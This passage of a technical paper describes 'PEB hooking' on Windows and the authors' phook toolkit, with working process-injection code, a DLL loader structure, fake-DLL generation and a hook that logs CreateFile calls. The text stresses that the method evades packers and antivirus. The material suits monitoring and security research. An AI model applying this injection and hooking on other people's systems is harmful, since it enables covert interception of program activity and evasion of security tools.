Exchange of data in LoaderData It is necessary to search DLL_FAKE and DLL_REAL for some identificative fields of LDR_MODULE, once found the following data will be exchanged: - EntryPoint - BaseAddress - SizeOfImage (almost always) The search using the field BaseDllName will obtain the data of LDR_MODULE pertaining to DLL_FAKE. Some virus, packers and APIs use this form of search to find the BaseAddress or EntryPoint of a module. It is necessary to change the field SizeOfImage in the case that DLL_FAKE and DLL_REAL do not have the same size in memory. Searching flow of BaseAddress of kernel32.dll in a process without PEB HOOKING [T.1]: 0 +---------------------------------+ [ process ] ---------+ | Process Environment Block (PEB) | | |---------------------------------| | | InheritedAddressSpace | | | ReadImageFileExecOptions | | | BeingDebugged | | | Spare | | | Mutant | | | ImageBaseAddress | +->| LoaderData |--+ | ... | | +---------------------------------+ | 1 | | +--------------------------------------------------------------+ | +----------------------------+ +----------------------------+ | | LoaderData | | LDR_MODULE | | +----------------------------+ |----------------------------| flink | | Length | | InLoadOrderModList |-----+ | | Initialized | | InMemoryOrderModList | | | | SsHandle | | InInitOrderModList | | +->| InLoadOrderModList | 2 | ... | | | InMemoryOrderModList |---->| BaseDllName "ntdll.dll" |---+ | | InInitOrderModList - Flink | +----------------------------+ | | +----------------------------+ +------------------------------------+ | | +----------------------------+ | | | LDR_MODULE (DLL_REAL) | | | |----------------------------| | | | InLoadOrderModList | 6 | +---------------------+ 3 | | InMemoryOrderModList | | | "kernel32.dll" |<-------+ | InInitOrderModList | | +---------------------+ | BaseAddress 7C801000 | | 8 | |4 ^ 7 | ... | | Yes <-+ +-> No +-------------| BaseDllName "kernel32.dll" |<----+ | | 5 | ... | 9 | v +----------------------------+ | NextLdrModule(); v kernel32.dll = 7C801000 Searching flow of BaseAddress of kernel32.dll in the previous process with PEB HOOKING [T.1]: 0 +---------------------------------+ [ process ] ---------+ | Process Environment Block (PEB) | | |---------------------------------| | | InheritedAddressSpace | | | ReadImageFileExecOptions | | | BeingDebugged | | | Spare | | | Mutant | | | ImageBaseAddress | +->| LoaderData |--+ | ... | | +---------------------------------+ | 1 | | +--------------------------------------------------------------+ | +----------------------------+ +----------------------------+ | | LoaderData | | LDR_MODULE | | +----------------------------+ |----------------------------| flink | | Length | | InLoadOrderModList |-----+ | | Initialized | | InMemoryOrderModList | | | | SsHandle | | InInitOrderModList | | +->| InLoadOrderModList | 2 | ... | | | InMemoryOrderModList |---->| BaseDllName "ntdll.dll" |---+ | | InInitOrderModList - Flink | +----------------------------+ | | +----------------------------+ +------------------------------------+ | | +----------------------------+ | | | LDR_MODULE (DLL_REAL) | | | |----------------------------| 6 | | | InLoadOrderModList | | +---------------------+ 3 | | InMemoryOrderModList |flink| | "kernel32.dll" |<-------+ | InInitOrderModList |--+ | +---------------------+ | BaseAddress 7C801000 | | | 12 | |4-8 ^ ^ 7 | ... | | | Yes <-+ +-> No | +-------------| BaseDllName "old_k32.dll" |<-|--+ | 5-9 | +------------+ | ... | | 13 | v | +----------------------------+ | | NextLdrModule(); +-+ | v | +----------------------------+ | kernel32.dll = 005C5000 | | LDR_MODULE (DLL_FAKE) | | 10 | |----------------------------| | 11 | | InLoadOrderModList | | | | InMemoryOrderModList | | | | InInitOrderModList | | | | BaseAddress 005C5000 | | | | ... | | +-| BaseDllName "kernel32.dll" |<+ | ... | +----------------------------+ Results of the search in the process: 1.- BaseAddress without PEB HOOKING [T.1]: 7C801000 (DLL_REAL) 2.- BaseAddress with PEB HOOKING [T.1]: 005C5000 (DLL_FAKE) PD: Generally searching by InLoadOrderModList, the first field that shows up is the LDR_MODULE corresponding to the main module. In the example it has been omited for the sake of clarity. ------[ 3.3 - Dynamic load of modules When a process, in that PEB HOOKING [T.1] has been done, loads a module dynamically [R.12] that has importations from DLL_REAL, its IAT [R.3] will be loaded automatically with the necessary exportations of DLL_FAKE. ------[ 3.4 - Repairing the IAT Except in the modules DLL_FAKE and DLL_REAL, all the IATs [R.3] that have exportations of the DLL_REAL shall be replaced by the corresponding ones from DLL_FAKE. The IAT [R.3] of DLL_FAKE is not due to change in case the exportations of DLL_REAL are needed to be used. If the IAT [R.3] of DLL_FAKE has been modified so the exportations of DLL_REAL are the same ones of DLL_FAKE, a call to a exportation of DLL_REAL from the same exportation of DLL_FAKE, will enter in an infinite recursive loop, causing stack overflow. +--------------------------+ +--------------------------------+ | .text DLL_FAKE | | IAT | |--------------------------| |--------------------------------| | ... | | LocalAlloc 1 (Nr_LocalAlloc) | | PUSH EBP | +->| LoadLibrary 2 (Nr_LoadLibrary) |--+ | MOV EBP, ESP | | | .... | | | ... | | +--------------------------------+ | | LoadLibrary_FAKE: | | | +->| PUSH original_lib_name | | 0 | | | CALL IAT[Nr_LoadLibrary] |--+ | | | ... | | | | POP EBP | | | | RET | | | | ... | | | +--------------------------+ | | 1 | +-----------------------------------------------------------------------+ The real problem is that we are calling ourselves either directly or indirectly by one or various DLLs. It is not due to repair the IAT [R.3] of any module (DLL_ANY) when DLL_FAKE calls an exportation of DLL_ANY that at the same time calls an exportation of DLL_FAKE that implies to call again the same exportation direct or indirectly from DLL_ANY. Flow of a call to RtlHeapAlloc, when PEB HOOKING [T.1] has been done over NTDLL.DLL and the IAT of kernel32.dll has been changed: Example: [ process ] | | CALL RtlHeapAlloc CALL LoadLibrary +-------------------> [DLL_FAKE ntdll.dll] ------------------+ 0 ^ 1 | | CALL RtlInitUnicodeString v +--------------------------- [DLL_ANY kernel32.dll] 2 Flow of a call to RtlHeapAlloc, when PEB HOOKING [T.1] has been done over NTDLL.DLL and the IAT [R.3] of kernel32.dll has NOT been changed: [ process ]<----------------+ | 4 | | CALL RtlHeapAlloc | CALL LoadLibrary +-------------------> [ DLL_FAKE ntdll.dll] ------------------+ 0 ^ 1 | +------------------+ | | 3 | | CALL RtlInitUnicodeString v [DLL_REAL old_nt.dll] <--------------------------- [DLL_ANY kernel32.dll] 2 Note: The scheme has been simplified, omiting the rest of calls of DLL_FAKE. Flow of a normal call to LoadLibrary in a process (without PEB HOOKING [T.1]): CALL IAT[Nr_LoadLibrary] +--------------------------------+ [process] -------------------------+ | IAT | ^ 0 | |--------------------------------| | | | LocalAlloc 1 (Nr_LocalAlloc) | | +-----------------------+ +->| LoadLibrary 2 (Nr_LoadLibrary) |-+ | | DLL_REAL kernel32.dll | | .... | | | |-----------------------| +--------------------------------+ | | | ... | 1 | | | LoadLibrary: | <--------------------------------------+ | 2 | PUSH EBP | | | MOV EBP, ESP | | | ... | | | POP EBP | +----| RET | | ... | +-----------------------+ The flow is normal and passes directly by DLL_REAL. Flow of a call to LoadLibrary in a process with PEB HOOKING [T.1]: CALL IAT[Nr_LoadLibrary] +--------------------------------+ [process] -------------------------+ | IAT | ^ 0 | |--------------------------------| | | | LocalAlloc 1 (Nr_LocalAlloc) | | +-------------------------+ +->| LoadLibrary 2 (Nr_LoadLibrary) |-+ | | DLL_FAKE kernel32.dll | | .... | | | |-------------------------| +--------------------------------+ | 4 | | ... | 1 | | | Own_LoadLibrary: | <--------------------------------------+ | | PUSH EBP | | | MOV EBP, ESP | +-----------------------------+ | | // Own functions... | 2 | DLL_REAL old_k32.dll | | | CALL IAT[Nr_LoadLibrary]|----+ |-----------------------------| | | POP EBP |<-+ | | ... | +--| RET | | +->| LoadLibrary: | | ... | | | PUSH EBP | +-------------------------+ | | MOV EBP, ESP | | | ... | 3 | | POP EBP | | | RET |--+ | | ... | | | +-----------------------------+ | +-------------------------------------+ As it can be observed the flow passes first through DLL_FAKE. Then DLL_FAKE calls to the original LoadLibrary (DLL_REAL). ------[ 3.5 - Starting execution Once all the previous steps are done it is the moment for beginning to execute the process and to see if everything works. ------[ 3.6 - The APIs that work with modules The APIs LoadLibrary, GetModuleHandle, EnumProcessModules [R.12] ... use the field LoaderData from the PEB [T.1]. This means that everytime that they try something against DLL_REAL they will be interacting with DLL_FAKE, for example: PEB HOOKING [T.1] has been done to USER32.DLL: - DLL_FAKE - Name in memory: USER32.DLL - BaseAddress: 00435622 - DLL_REAL - Name in memory: OLD_U32.DLL - BaseAddress: 77D10000 The process tries to obtain the base of USER32.DLL: - HMODULE user32 = GetModuleHandle( "user32.dll" ); After executing GetModuleHandle [R.12] the variable user32 will contain: 00435622 (BaseAddress of DLL_FAKE). If the process does later a GetProcAddress [R.12] on some function exported by USER32.DLL, it will obtain the function of DLL_FAKE. Thanks to PEB HOOKING [T.1] it is no longer necessary to change the behaviour of the APIs that work with modules so that they use DLL_FAKE. ------[ 3.7 - A new concept: DLL MINIFILTER DLL MINIFILTER is the name that we have given to the capacity by which a call to an exportation can pass through several DLL_FAKE. One of the most importtant advantages of the method is to extend or to limit the functionalities modularly to the call of an exportation. When PEB HOOKING [T.1] is done over a DLL_FAKE, the term DLL_REAL for the new DLL_FAKE becomes the previous DLL_FAKE, creating While doing PEB HOOKING [T.1] over DLL_FAKE, the DLL_REAL term for the new DLL_FAKE, became the before DLL_FAKE value, creating therefore a stack of DLL_FAKEs. The flow will go form the last DLL_FAKE, of which PEB HOOKING [T.1] has taken control, to the DLL_REAL, in case that all the DLL_FAKEs call to the original export. Flow of a call of a proceso, with PEB HOOKING [T.1], with just one DLL_FAKE: 0 1 [process] --> [DLL_FAKE] --> [DLL_REAL] ^ | | 2 | +----------------------------+ Flow of a call of a process, with PEB HOOKING [T.1], with three DLL_FAKEs: 0 1 2 3 [process] --> [DLL_FAKE 3] --> [DLL_FAKE 2] --> [DLL_FAKE 1] --> [DLL_REAL] ^ | | 4 | +---------------------------------------------------------------+ In the previous examples, all the DLL_FAKEs pass the control to the corresponding DLL_REAL. ------[ 3.8 - Frequent problems At the time of realizing PEB HOOKING [T.1] certain problems may happen, next a table with the problems and the possible solutions is shown: +-------------------------------------------------------------------------+ | Problem | Possible/s Solution/s | |-------------------------------+-----------------------------------------| | - The PEB HOOKING [T.1] fails | - Check if the necessary fields of the | | | PEB [T.1] can be exchanged. | | | - Check if the correct permissions to | | | change the needed IATs [R.3] are | | | present. | |-------------------------------+-----------------------------------------| | - The execution of a process | - Check that the PEB [R.1] is browsed | | fails | correctly. | | | - Check if the IATs [R.3] of all the | | | modules of the process have been | | | correctly browsed. | | | - check if the modified permissions in | | | memory in the PEB HOOKING [T.1] have | | | been restored. | +-------------------------------------------------------------------------+ ------[ 4.- phook phook is capable of realizing PEB HOOKING [T.1] (and other things) in a simple manner. phook is a project of various modules: - InjectorDLL: Program that creates a suspended process and injects a DLL in it. - Console Control: DLL that is injected in the process where we want to do PEB HOOKING [T.1]. It allows to do PEB HOOKING [T.1] and other tasks interactively by means of a command console by sockets. - CreateExp: Program that generates from a DLL_REAL the source code needed to realize a DLL_FAKE. - ph_ker32.dll: DLL_FAKE of kernel32.dll. ph_ker32.dll monotorizes the access to the APIs: CreateFileA and CreateFileW [R.14]. ------[ 4.1 - InjectorDLL Program that creates a suspended process and injects a DLL into it. To inject the DLL C:\console.dll in the corresponding process C:\poc.exe: - To specify the type of process: - CONSOLE: - InjectorDLL.exe C:\console.dll -c C:\poc.exe - GUI: - InjectorDLL.exe C:\console.dll -g C:\poc.exe - Not to specify the type of process - InjectorDLL.exe C:\console.dll -u C:\poc.exe InjectorDLL, with the parameter -u, usually detects if a process is GUI or Console to know how to create it suspended (see section 2.3). The method that we have created consists in creating the process with the API CreateProcess and the flag CREATE_SUSPENDED [R.6]. Later WaitForInputIdle is called, if the wait fails then it is a Console process, otherwise it will be GUI. ------[ CODE CreateProcess ( program_name , NULL , NULL , NULL , FALSE , CREATE_SUSPENDED | CREATE_NEW_CONSOLE , NULL , NULL , pstart_inf , ppro_inf ) // It is necessary to check the correct creation of the process if ( WaitForInputIdle( ppro_inf->hProcess, 0 ) == WAIT_FAILED ) // "Console process" else // "GUI process" ------[ END CODE Once the type of process is known, we already know how to create it suspended correctly (see section 2.3). Note: the method may not always work, in some ocassion a "Console process" will be detected as "GUI process". The code that loads the DLL is put in a structure called LOADER_DLL_s (see section 2.3). LOADER_DLL_s is loaded with the instructions in assembler and the needed data. It is necessary to write in the created process the structure LOADER_DLL_s and to call to CreateRemoteThread, giving it as entrypoint the start of the structure, so that the code of LOADER_DLL_s is executed. Once the DLL is loaded, the thread is suspended from which LOADER_DLL_s is being executed and increments a flag to indicate it. ------[ CODE typedef struct LOADER_DLL_s { /* - CODE ------------------------------------------------------ */ PUSH_ASM_t push_name_dll; /* PUSH "DLL_INJECT.DLL"*/ CALL_ASM_t call_load_library; /* CALL LoadLibraryA */ CALL_ASM_t call_get_current_thread; /* CALL GetCurrentThread*/ INC_BYTE_MEM_t inc_flag; /* INC [FLAG] */ char PUSH_EAX; /* PUSH EAX */ CALL_ASM_t call_suspendthread; /* CALL SuspendThread */ /* - DATA ------------------------------------------------------ */ char name_dll[MAX_PATH]; /* DLL_INJECT.DLL'\0' */ char flag; /* [FLAG] */ } LOADER_DLL_t; ------[ END CODE ------[ 4.2 - Console Control Console Control is the DLL that is injected in the process in which it is wanted to realize PEB HOOKING [T.1]. It allows to make PEB HOOKING [T.1] and other tasks interactively by means of a command console by sockets. The port that listens writes it in the file C:\ph_listen_ports.log, with the nomenclature PID - PORT. Example of a process with PID 2456, listening in the port 1234: 2456 - 1234. At the moment you have the following list of commands: help - Shows this screen exit - Closes and unloads the console suspend - Pauses the execution of the program resume - Resumes the execution of the program showmodules - Shows the list of modules load [param1] - Loads in memory the specified library in [param1] unload [param1] - Unloads a library specified in memory in [param1] pebhook [param1] [param2] - Realizes PEB HOOKING [T.1] over a dll [param1]: Name of the original dll [param2]: Path to the DLL_FAKE It is easy to understand each of the commands that our console admits, so we will explain how "showmodules", "pebhook" and "suspend" work. The commando "showmodules" does a search in the PEB [R.1] of the loaded modules without using APIs. pebhook is the command that realizes all the process of PEB HOOKING (see section 3). If PEB HOOKING [T.1] over kernel32.dll is wanted to be done, using as DLL_FAKE "C:\phook\bin\windows_xp_sp2\ph_ker32.dll", for the OS Windows XP SP2, only it is necessary to send the command: - pebhook kernel32.dll c:\phook\bin\windows_xp_sp2\ph_ker32.dll The command suspend is capable of suspending the execution of the main thread of the process. The TID of the main thread is obtained browsing the THREADENTRY32 [R.13] of the system till it reaches the first of the process: ------[ CODE BOOL GetMainThreadId( DWORD * thread_id ) { HANDLE hThreadSnap; THREADENTRY32 th32; BOOL return_function; DWORD process_id; process_id = GetCurrentProcessId(); hThreadSnap = INVALID_HANDLE_VALUE; return_function = FALSE; hThreadSnap = \ CreateToolhelp32Snapshot( TH32CS_SNAPTHREAD, process_id ); if( hThreadSnap == INVALID_HANDLE_VALUE ) { ShowGetLastErrorString ( " GetMainThreadId() - CreateToolhelp32Snapshot()" ); return FALSE; } th32.dwSize = sizeof( THREADENTRY32 ); if( !Thread32First( hThreadSnap, & th32 ) ) ShowGetLastErrorString( "GetMainThreadId() - Thread32First()"); do { if ( th32.th32OwnerProcessID == process_id ) { * thread_id = th32.th32ThreadID; return_function = TRUE; } } while ( Thread32Next( hThreadSnap, & th32 ) && return_function != TRUE ); CloseHandle( hThreadSnap ); return return_function; } ------[ END CODE ------[ 4.3 - CreateExp CreateExp is a program that generates the source code needed to realize a DLL_FAKE from a DLL_REAL. At the moment it creates the files .c and .def, to use with mingw. To create a DLL_FAKE of kernel32.dll it is needed to execute: - CreateExp C:\WINDOWS\SYSTEM32\KERNEL32.DLL C:\ph_ker32 If it has worked well the files C:\ph_ker32.c and C:\ph_ker32.def will be created. ph_ker32.c contains the definitions of the exportations of kernel32.dll and jumps automatically to the originals. ph_ker32.def contains the alias and the names of the exportations of kernel32.dll. By default the exportations of DLL_FAKE will jump to the corresponding exportation of DLL_REAL. ------[ 4.3.1 - Forwarder DLL CreateExp tranforms the Forwarder DLL [R.3] into exportations, so PEB HOOKING of a function Forwarder can be done. Example: kernel32.dll has as Forwarder HeapAlloc that goes to the exportation RtlAllocateHeap of NTDL.DLL. When a module imports HeapAlloc from kernel32.dll, the Loader of win32 automatically puts the address of the exportation of NTDLL.DLL and never passes through kernel32.dll: CALL HeapAlloc [process] ------------------> [NTDLL.DLL] ^ 0 | +-------------------------------+ 1 If a DLL_FAKE of kernel32.dll is created with CreateExp, the flow will be: CALL HeapAlloc (DLL_FAKE) [process] ------------------> [KERNEL32.DLL] --------> [NTDLL.DLL] ^ 0 1 | +-----------------------------------------------------+ 2 Of such form that we can implement a hook of HeapAlloc (kernel32.dll). ------[ 4.4 - ph_ker32.dll ph_ker32.dll was created to do PEB HOOKING [T.1] to kernel32.dll; monotorizes the access to the APIs "CreateFileA" and "CreateFileW" [R.14], and when it is called to any other automatically it jumps to the original. In order to easen the jump to an API a JMP macro has been created, it has to pass the name of the DLL and the ordinal of the exportation (to see the JMP macro see section 4.4.2). ph_ker32.c created with CreateExp (JMP macro has been omitted): ------[ CODE #define FAKE_LIB "ph_ker32.dll" DLLEXPORT void _ActivateActCtx ( void ) { JMP( FAKE_LIB, 1 ); } DLLEXPORT void _AddAtomA ( void ) { JMP( FAKE_LIB, 2 ); } DLLEXPORT void _AddAtomW ( void ) { JMP( FAKE_LIB, 3 ); } DLLEXPORT void _AddConsoleAliasA ( void ) { JMP( FAKE_LIB, 4 ); } .... ------[ END CODE It is necessary to remember that once PEB HOOKING [T.1] has been made, kernel32.dll will now be named ph_ker32.dll, for that reason ph_ker32.dll in the symbolic constant FAKE_LIB is indicated. ph_ker32.def created with CreateExp: ------[ CODE LIBRARY default EXPORTS ActivateActCtx=_ActivateActCtx @ 1 AddAtomA=_AddAtomA @ 2 AddAtomW=_AddAtomW @ 3 ... ------[ END CODE By reasons of clarity the implementation of the APIs CreateFileA and CreateFileW [R.14] have been put in the file owns.c. When a call is made to CreateFileA and to CreateFileW [R.14] it is written the parameter lpFileName in the file C:\CreateFile.log owns.c: ------[ CODE #define FILE_LOG C:\CreateFile.log DLLEXPORT HANDLE _stdcall _CreateFileW ( LPCWSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDistribution, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile ) { char asc_str[MAX_PATH]; if ( UnicodeToANSI( (WCHAR *) lpFileName, asc_str ) == 0 ) CreateFileLogger( asc_str ); return CreateFileW( lpFileName, dwDesiredAccess, dwShareMode, lpSecurityAttributes, dwCreationDistribution, dwFlagsAndAttributes, hTemplateFile ); } DLLEXPORT HANDLE _stdcall _CreateFileA ( LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDistribution, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile ) { char asc_str[MAX_PATH]; CreateFileLogger( lpFileName ); return CreateFileA( lpFileName, dwDesiredAccess, dwShareMode, lpSecurityAttributes, dwCreationDistribution, dwFlagsAndAttributes, hTemplateFile ); } static void CreateFileLogger( const char * file_to_log ) { HANDLE file; DWORD chars; file = \ CreateFileA ( FILE_LOG , GENERIC_WRITE | GENERIC_READ , 0 , NULL , OPEN_ALWAYS , 0 , NULL ); if ( file != INVALID_HANDLE_VALUE ) { if ( SetFilePointer( file, 0, NULL, FILE_END ) != -1 ) { WriteFile ( file, file_to_log, strlen( file_to_log ), &chars, NULL ); WriteFile( file, "\x0D\x0A", 2, &chars, NULL ); } CloseHandle( file ); } } ------[ END CODE ------[ 4.4.1 - Stack problems When it is wanted to directly pass the control to an API which prototype is not known a generic form, it is necessary to pass it the intact stack to the original API. This is gotten in mingw with the option of the compilator -fomit-frame-pointer [R.15] and a JMP (ASM) to the original API. The functions that have been implemented have to be put in the prototype and must be of the type _stdcall. The functions of type _stdcall have a different syntax in the file .def: - Name_exportation=Alias@arguments * 4 @ Ordinal Example of file .def with the APIs of type _stdcall CreateFileA and CreateFileW [R.14] (both have seven arguments): ------[ CODE LIBRARY ph_ker32 EXPORTS ; Name Exp | Alias | No Args * 4 | Ordinal Windows XP SP2 CreateFileW=_CreateFileW@28 @ 83 CreateFileA=_CreateFileA@28 @ 80 ------[ END CODE The functions of type _stdcall should not be compiled with -fomit-frame-pointer [R.15] option. ------[ 4.4.2 - Registry problems Not only is necessary to pass the stack intact to an exportation, some times the exportations directly use the values of the registers. Before passing the control to the original exportation it is necessary to let the registers intact, this is accomplished inserting in the code the instructions PUSHAD and POPAD: [PUSHAD] [ CODE NEEDED TO JUMP TO THE EXPORTATION ] [POPAD] An example of exportation that directly uses the registers is _chkstk of NTDLL.DLL: _chkstk in NTDLL.DLL (WINDOWS XP SP2): ------[ CODE 7C911A09 >/$ 3D 00100000 CMP EAX,1000 7C911A0E |. 73 0E JNB SHORT ntdll.7C911A1E 7C911A10 |. F7D8 NEG EAX 7C911A12 |. 03C4 ADD EAX,ESP 7C911A14 |. 83C0 04 ADD EAX,4 7C911A17 |. 8500 TEST DWORD PTR DS:[EAX],EAX 7C911A19 |. 94 XCHG EAX,ESP 7C911A1A |. 8B00 MOV EAX,DWORD PTR DS:[EAX] 7C911A1C |. 50 PUSH EAX 7C911A1D |. C3 RETN 7C911A1E |> 51 PUSH ECX 7C911A1F |. 8D4C24 08 LEA ECX,DWORD PTR SS:[ESP+8] 7C911A23 |> 81E9 00100000 /SUB ECX,1000 7C911A29 |. 2D 00100000 |SUB EAX,1000 7C911A2E |. 8501 |TEST DWORD PTR DS:[ECX],EAX 7C911A30 |. 3D 00100000 |CMP EAX,1000 7C911A35 |.^73 EC \JNB SHORT ntdll.7C911A23 7C911A37 |. 2BC8 SUB ECX,EAX 7C911A39 |. 8BC4 MOV EAX,ESP 7C911A3B |. 8501 TEST DWORD PTR DS:[ECX],EAX 7C911A3D |. 8BE1 MOV ESP,ECX 7C911A3F |. 8B08 MOV ECX,DWORD PTR DS:[EAX] 7C911A41 |. 8B40 04 MOV EAX,DWORD PTR DS:[EAX+4] 7C911A44 |. 50 PUSH EAX 7C911A45 \. C3 RETN ------[ END CODE ------[ 4.4.3 - The JMP macro The JMP macro is necessary since not always all the DLL (file .h) declarations are had in its header. With the JMP macro the address of the exportation is obtained with GetProcAddress [R.12] in runtime. ------[ CODE unsigned long tmp; #define JMP( lib, func ) \ asm ( "pushad" ); \ asm \ ( \ " push edx \n" \ " push %1 \n" \ " call eax \n" \ " pop edx \n" \ " push %2 \n" \ " push eax \n" \ " call edx \n" \ " mov %4, eax \n" \ " popad \n" \ \ : : \ "a" (GetModuleHandle) , \ "g" (lib) , \ "g" (func) , \ "d" (GetProcAddress) , \ "g" (tmp) \ ); \ asm ( "jmp %0" : : "g" (tmp) ); ------[ END CODE The code is for mingw [R.16] with the compiler option -masm=intel. ------[ 4.4.4 - Versions We have included in phook various versions of ph_ker32 for the systems: - Windows XP SP2 v5.1.2600 - Windows Server 2003 R2 v5.2.3790 - Windows Vista v6.0.6000 Source code in ph_ker32/SO and binaries in bin/OS. ------[ 4.5 - Using phook Lets imagine that we want to do PEB HOOKING [T.1] to kernel32.dll with ph_ker32.dll, the programa poc.exe has been chosen for the example (comes in the folder bin\ of phook). Steps to follow: 1.- Execute InjectorDLL indicating a program to execute and the DLL of the console that will be injected in the process: - InjectorDLL.exe console.dll -u poc.exe The process will be hold in suspended state and there will be a socket listening in the port indicated in the file C:\ph_listen_ports.log C:\phook\bin>InjectorDll.exe console.dll -u poc.exe ________________________________________________________________ | InjectorDLL v1.0 | | | | [Shearer] eunimedesAThotmail.com | | Dreg DregATfr33project.org | | -------------------------------------------------------------- | | http://www.fr33project.org | |________________________________________________________________| Showing injection data ..... Program to inject : poc.exe Library to inject: console.dll [OK] - CONSOLE. [OK] - Create process: [INFO] PID: 0x0960 [INFO] P. HANDLE: 0x000007B8 [INFO] TID: 0x0AE0 [INFO] T. HANDLE: 0x000007B0 [INFO] - Injecting DLL... [OK] - Allocate memory in the extern process. [INFO] - Address reserved on the other process: 0x00240000 [INFO] - Space requested: 306 [OK] - Creating structure for the dll load. [OK] - Writing structure for the dll load. [OK] - Creating remote thread. [INFO] - Thread created with TID: 0x0B28 [INFO] - Attempt: 1 [INFO] - Thread has entered suspension mode. [OK] - Injection thread ended. [OK] - Memory in remote thread freed. [OK] - DLL injected. [OK] - Injection ended. 2.- It is necessary to connect with a client of type netcat to the open port, in this case: 1234. C:\>nc 127.0.0.1 1234 ________________________________________________________________ | Phook Prompt v1.0 | | [Shearer] eunimedesAThotmail.com | | Dreg DregATfr33project.org | | -------------------------------------------------------------- | | http://www.fr33project.org | |________________________________________________________________| ph > help _________________________________________________________________ | Phook Prompt v1.0 | | | | Command list: | | --------------------------------------------------------------- | | help - Shows this screen | | exit - Closes and unloads the console | | suspend - Pauses the programs execution | | resume - Resumes the programs execution | | showmodules - Shows the modules list | | load [param1] - Loads in memory the library | | especified in [param1] | | unload [param1] - Unloads a librery in memory | | especified in [param1] | | pebhook [param1] [param2] - Performs PEB Hook over a dll | | [param1]: Name of the original dll | | [param2]: Path to the DLL hook | |_________________________________________________________________| 3.- PEB HOOKING [T.1] to kernel32.dll is realized with the ph_ker32.dll: ph > pebhook kernel32.dll C:\phook\bin\windows_xp_sp2\ph_ker32.dll 4.- The command resume is sent so that the execution of the process begins. ph > resume ph > C:\phook\bin> 5.- poc.exe creates the files in C:\ - file - file2 - file3 6.- ph_ker32.dll registers the successful calls to the APIs CreateFileA and CreateFileW [R.14] in the file C:\CreateFile.log 7.- C:\>more CreateFile.log C:\file1 C:\file2 C:\file3 ------[ 4.5.1 - DLL MINIFILTER phook allows to realize DLL MINIFILTER (see section 3.7) by a simple manner. It only has to realize PEB HOOKING [T.1], with the command pebhook, over the name of the DLL_FAKE, that is the one that had DLL_REAL. Supposing that we have two DLL_FAKEs: - ph_ker32_1.dll: Monotorizes access to the APIs CreateFile [R.14]. - ph_ker32_2.dll: Monotorizes the access of the API ReadFile [R.17]. To do DLL MINIFILTER it is as easy as: C:\>nc 127.0.0.1 1234 ________________________________________________________________ | Phook Prompt v1.0 | | [Shearer] eunimedesAThotmail.com | | Dreg DregATfr33project.org | | -------------------------------------------------------------- | | http://www.fr33project.org | |________________________________________________________________| ph > pebhook kernel32.dll C:\phook\bin\windows_xp_sp2\ph_ker32_1.dll ph > pebhook kernel32.dll C:\phook\bin\windows_xp_sp2\ph_ker32_2.dll Flow of a call of the process to kernel32.dll: 0 1 2 [process] --> [ph_ker32_2.dll] --> [ph_ker32_2.dll] -> [kernel32.dll] ^ | | 3 | +------------------------------------------------------+ ------[ 4.6 - Frequent problems Besides of the problems in the section 3.8, there are others: +-------------------------------------------------------------------------+ | Problem | Possible/s Solution/s | |-------------------------------+-----------------------------------------| | - DLL_FAKE compilation fails | - Check that the functions that go | | | directly to DLL_REAL are not repeated | | | and are implemented. | | | - Check that the implemented functions | | | (that must be of _stdcall type) are | | | well defined in the .def file | | | (see section 4.4.1). | |-------------------------------+-----------------------------------------| | - The execution of the | - Check that the functions that go | | process fails | directly to DLL_REAL have been | | | compiled with the option | | | -fomit-frame-pointer (see section | | | 4.4.1). | | | - Check that the implemented functions | | | are of _stdcall type. | | | - Check that DLL_FAKE have been created | | | from the DLL_REAL and not another. | | | - Check if InjectorDLL has correctly | | | detected the real type of the process | | | (GUI or CONSOLE). | |-------------------------------+-----------------------------------------| | - It is not possible to | - Check that the port 1234 is open | | connect to the console | before doing PEB HOOKING [T.1]. | | | - Check firewall blockings... | | | - Check that the full path of | | | console.dll has been indicated in | | | InjectorDLL. | |-------------------------------+-----------------------------------------| | - InjectorDLL does not work | - Check that the privilegies to inject | | | a DLL were obtained | | | (CreateRemoteThread..) | | | - Check anti-virus blocking... | |-------------------------------+-----------------------------------------| | - CreateExp does not work | - Check that the path of DLL_REAL ia a | | | correct PE32 and that the EXPORT | | | DIRECTORY is not corrupted [R.3]. | +-------------------------------------------------------------------------+ Some other problems may exist due to programming and/or design failures. ------[ 5.- TODO At the moment we are trying to: - Realize PEB HOOKING [T.1] before the execution of: - TLS Table and DLLMain [R.3]. - Create debug files and configuration for the console. - Rules for the repair of IATs [R.4]. - customized list of listening ports. - ... - Improve InjectorDLL: - Automatic detection of "GUI process" and "Console process". ------[ 6.- Testing Tests with phook in different versions of Windows and other programs have been made. Windows: - Windows XP SP2 v5.1.2600 - Windows Server 2003 R2 v5.2.3790 - Windows Vista v6.0.6000 And theoretically it would have to work in Windows 2000, but we have not verified it. Programs: - Microsoft Word 10.0.2627.0 - Regedit 5.1.2600.2180 - Notepad 5.1.2600.2180 - Calc 5.1.2600.0 - CMD 5.1.2600.2180 - piathook 1.4 - pebtry Beta 5 - pe32analyzer Beta 2 ------[ 7.- Advantages and possibilities The biggest advantage of PEB HOOKING [T.1] over other hooking methods is that it only has to be applied once. At the moment that a hook to a DLL has been done, any module that is loaded will automatically have in his IAT [R.3] the exports that use DLL_FAKE. The rest of the modules have to apply the hook every time that the module is loaded. Other advantages of using PEB HOOKING [T.1]: - A search in the PEB (using the field BaseDllName) to find DLL_REAL, will arrive at DLL_FAKE. - PEB HOOKING is a more stable method for the OS than others in ring0. - Some packers do not detect PEB HOOKING [T.1] as it is not a well documented method. - It is not necessary to change the behavior of the APIs that work with modules. When a module tries to obtain the handler of the DLL_REAL, will automatically obtain the handler DLL_FAKE. - Possibility of creating DLL MINIFILTER (see section 3.7). - PEB HOOKING of a exportation Forwarder [R.3] can be done without making PEB HOOKING to the Forwarder DLL. The spectrum of possibilities that the PEB HOOKING [T.1] method allows and phook is quite ample, next we raised some examples: - Monotorize/virtualize the access to the registry of a process. - POC [R.18]: 1.- Use the tool CreateExp (see section 4.3) on "advapi32.dll". 2.- Based on what is desired to do, it is necessary to implement the monitorization/virtualization in the next APIs: - RegCloseKey - RegCreateKeyA/RegCreateKeyW - RegCreateKeyExA/RegCreateKeyExW - RegDeleteKeyA/RegDeleteKeyW - RegLoadKeyA/RegLoadKeyW - RegOpenKeyA/RegOpenKeyW - RegOpenKeyExA/RegOpenKeyExW - 